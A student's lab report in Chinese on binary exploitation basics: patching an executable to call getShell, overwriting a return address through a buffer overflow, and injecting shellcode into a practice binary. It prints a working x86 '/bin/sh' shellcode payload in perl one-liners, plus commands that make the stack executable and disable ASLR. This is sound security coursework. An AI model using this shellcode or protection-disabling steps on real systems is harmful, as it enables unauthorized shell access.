1.实验内容
- 篡改程序流程——直接修改可执行文件,跳转至getShell;
- 栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
- Shellcode注入——构造恶意输入注入自定义Shellcode并执行。
2.实验过程
一、掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
- NOP 0x90 空操作指令,CPU不执行任何操作
- JNE 0x75 不相等时跳转(ZF=0)
- JE 0x74 相等时跳转(ZF=1)
- JMP 0xEB(短跳) 0xE9(近跳) 无条件跳转指令
- CMP 无固定值 比较指令,设置标志位
二、具体实验过程
(1)直接修改程序机器指令,改变程序执行流程
输入反汇编命令
objdump -d pwn1 | more
找到e8d7,编辑pwn文件,修改call指令的目标地址,保存后退出
修改成功后查看call指令是否调用getshell函数。发现成功调用
运行代码,成功启动shell
(2)通过构造输入参数,造成BOF攻击,改变程序执行流
了解程序基本功能
确认输入字符串哪几个字符会覆盖到返回地址
确认字节序之后,构造输入字符串并检查
使用16进制查看指令xxd查看input文件的内容
运行文件,成功!
(3)注入Shellcode并执行
注入前的系统设置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
0
使用gdb调试,寻找pwn文件的对应进程,图中显示进程号为32675
构造shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
进行注入测试,发现0x01020304,即可锁定shellcode的位置
0xffffd33c + 4 = 0xffffd340
构造perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
随后注入,成功运行shell
(cat input_shellcode;cat) | ./pwn20232319
3.问题及解决方案
- 问题1:gdb输入c命令后无响应
- 问题1解决方案:需要在另一个终端上按回车,程序才能继续执行
4.学习感悟、思考等
通过本次实验,我认识到了机器指令是小端序、使用补码表示的。
通过本次实验的三个任务,分别是直接修改程序机器指令、构造输入参数造成BOF攻击、注入Shellcode,使我对x86指令有了进一步的认识,同时也了解bof攻击的流程。此外,shellcode注入的难度相较于前两个更高,经过学习后也体会到了每一个步骤的作用。
参考资料
- MAL_逆向与Bof基础